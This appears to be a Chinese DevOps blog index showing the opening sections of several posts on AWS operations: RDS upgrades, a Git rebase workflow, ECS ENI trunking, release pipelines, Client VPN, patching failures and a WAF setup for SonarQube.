运维烂笔头

缘起

我们 prod 有 9 台 RDS for MySQL 主库，外加 1 台只读副本，全部用 Terraform 管。搭环境的时候，在”版本和维护”这件事上定了四条：

1. engine_version 只写大版本 8.4，不写小版本；
2. 打开小版本自动升级；
3. 主库全部开 Multi-AZ；
4. 每台库的维护窗口互相错开。

单看每一条都是很普通的设置，当时也没多想。直到有一天被问到一句话：”prod 的 RDS 会不会自己重启？”

为了回答这个问题，我把这四条对着文档和线上状态重新过了一遍，才发现它们是互相咬合的，而且有几处和我原先以为的不一样：写 8.4 并不保证拿到最新的小版本；开了自动升级也不等于紧跟最新版；Multi-AZ 挡不住小版本升级时的停机。

这篇把这四条各自解决什么问题、Terraform 里怎么写、哪里容易想当然，一起记下来。最后还有一段后续：这套方案后来被领导否了，prod 改成了版本锁死、手工升级。两套方案的对比也写在里面。

我在 DevOps 和 IaC 这几个仓库里的 Git 操作，九成时间只用三个命令：gfo、grbom、gpf。

不开 feature 分支，不 merge main，也不用想「这次 push 要不要加 force」。所有改动都在一条只有我自己用的长期分支 ym-dev 上，攒到差不多了，在 GitHub 上开一个 ym-dev → main 的 PR。合并之后接着在同一条分支上干活。

这篇把这套做法和背后的几个判断写下来：为什么追 main 用 rebase、为什么永远 force push，以及出岔子的时候怎么收拾。

缘起

我们的 ECS 集群都是 EC2 启动类型，任务一律用 awsvpc 网络模式。

刚开始搭 dev 环境的时候就撞过一次墙：机器的 CPU、内存都还有富余，新任务却起不来，原因是 ENI 不够用了。当时的解法是打开 ECS 的 awsvpcTrunking（俗称 VPC trunk / ENI trunking），让一台 EC2 能挂更多的网卡。代价是：这个方案不是每种机型都支持。

半年多过去，环境从 dev 一路扩到 qa、preprod、prod，机型换了好几轮。某天下午我突然想起这件事：现在各个环境的 ECS 集群，还有没有 ENI 不够的隐患？换过的机型，还都支持 trunking 吗？

巧的是，同一天下午 prod 正好有个任务卡在 PROVISIONING 起不来，ENI 也一度被列为头号嫌疑。这篇就把 trunking 的原理、我们怎么落地的、怎么巡检，以及那次”差点冤枉了 ENI”的排查，一起记下来。

缘起

上一篇写 GitHub Actions 构建优化的时候，贴过一段服务仓库的 pipeline.yml，里面的 run-name 会把运行分成三类：[PR gate]、[Path-A · dev/qa] 和 [Path-B · prod train]。当时没有展开讲，这篇专门说说这套发布模型。

背景是这样的：我们有十几个 Java 微服务，跑在 ECS 上，环境有 dev、qa、preprod、prod 四个。早期的流程是合并到 main 之后，一路 dev、qa、preprod、prod 串行部署下去。这样做的问题是，任何一次合并都可能一路滚到 prod 门口，”什么时候发版”和”什么时候合代码”绑在了一起。

后来我们用 Release Please 把这两件事拆开：合代码只到 qa，发版是一次单独的、有版本号的动作。

下面以 gateway 服务为例，按 workflow 源码把这套流程过一遍。

缘起

我们 prod 的 ECS 集群是 EC2 启动类型，四台节点，跑着十几个 Java 微服务。

某天发现有两个 task 一直起不来，原因是四台机器的 CPU 都被预留满了。为此提了一个 PR，把 prod 所有服务 task definition 里容器的 cpu 减半，已经合进了 DevOps 仓库的 main。

问题是，按我们的流程，task definition 的改动要走 CD 才能生效。而 CD 是从 dev 开始，经过 qa、preprod，最后才到 prod。这次又涉及所有服务，一个个从 dev 推到 prod，太慢了。

于是我的第一反应是：能不能直接用命令行，对 prod 的服务来一次 force-new-deployment？

答案是：命令行可以，但 force-new-deployment 不行。

缘起

我们的 Spring Boot 服务都跑在 ECS 上，CI/CD 用的是 GitHub Actions。

最早每个服务仓库里都有一份自己的 pipeline.yml，里面依次调用公共的 reusable-ci.yml（构建、扫描、签名、推送镜像）和 reusable-cd.yml（部署）。前段时间，我们集中对这套流水线做了一轮优化。

这篇文章以一个单模块的 Spring Cloud Gateway 服务（下文简称 gateway）为例，把这轮已经落地的优化点逐个过一遍，并且用 gateway 仓库真实的运行记录说明：哪些优化有明确收益，哪些优化的收益在数据里其实看不出来。

背景

我厂在 AWS 上有 tooling、dev、qa、preprod 四个环境，VPC 之间通过 peering 互通。日常运维需要从办公网络访问这些 VPC 内的资源，走的是 AWS Client VPN。

Client VPN 的认证方式我们选了证书双向认证（mutual TLS）。AWS 也支持 Active Directory 或 SAML SSO 认证，但我们的场景比较简单——十来个人用，不想为此多维护一套认证基础设施。证书认证的好处是纯客户端侧，不依赖额外的认证服务，配好 .ovpn 文件就能连。

缘起

最近一直在啃 WIZ 扫出来的漏洞，修了有一两个月。今天打开一看：某两台 Amazon Linux 2023 的 EC2，操作系统软件包漏洞突然多了大几十个、上百个。

第一反应不是「又有新 CVE 发布了」，而是：你们不是开了每天自动更新吗？

上去一查，更气。dnf-automatic-install.timer 天天在跑，journal 里全是 Success；再对比同环境另一台机器，那边包版本已经新一截了，这两台还停在旧的。不是 timer 挂了，不是没装 dnf-automatic，也不是没写 releasever=latest——配置「看起来全都对」，预期作用却等于零。

气从何来？因为这不是偶发运维疏忽，而是 默认行为在逻辑上就不该和「每天更新」摆在一起。你以为自己买了份日更保险，其实保单条款里写着：索引最多可以旧两天。

缘起

preprod 里有个维护窗口：nusa-preprod-windows-patch，每天凌晨 03:17（Asia/Singapore）跑 AWS-RunPatchBaseline，目标是两台带 PatchGroup=preprod-windows 的 PowerBI Gateway。

某天随手翻了一下执行历史，发现一件不太妙的事：

从 6 月 25 号到 7 月 24 号，最近三十来次执行，全部 Failed。

不是偶发超时，不是某一台掉线，是窗口级天天红。SSM Agent 在线，机器也跑着，任务确实打上去了——然后挂在 Windows 补丁搜索这一步。

现象

错误信息不长，但很「经典」：

1
2

An error occurred when attempting to search Windows Update.
Exception from HRESULT: 0x80072F8F

缘起

前段时间升级了一下公司的 SonarQube，版本升到了 2026 年 7 月版。

这个 SonarQube 是通过 AWS 的公网 ALB 对外提供服务的。既然放在公网，虽然不是谁都能登录，但让它就这么裸奔着总觉得不太合适，于是我在 ALB 前面加了一层 AWS WAF。

WAF 里启用了几组 AWS Managed Rules，包括：

• AWSManagedRulesCommonRuleSet
• AWSManagedRulesKnownBadInputsRuleSet
• AWSManagedRulesSQLiRuleSet
• AWSManagedRulesAmazonIpReputationList

另外还加了一个按 IP 限速的规则。

SonarScanner 上传的数据比较大，所以当时还专门对 SizeRestrictions_BODY、CrossSiteScripting_BODY 和 SQLi_BODY 做了放行或者只计数处理。

过了几天，我又给 SonarQube 加了一层 IP 白名单：只有办公室出口 IP 和 GitHub Actions 的公网 IP 才能访问。

为了不影响同一个 ALB 后面将来可能挂的其他服务，这个白名单不是直接加在 ALB 的 Security Group 上，而是在 WAF 里根据 HTTP Host 匹配，只限制 SonarQube 的域名。

看起来考虑得还挺周全。

然后，坑就挖好了。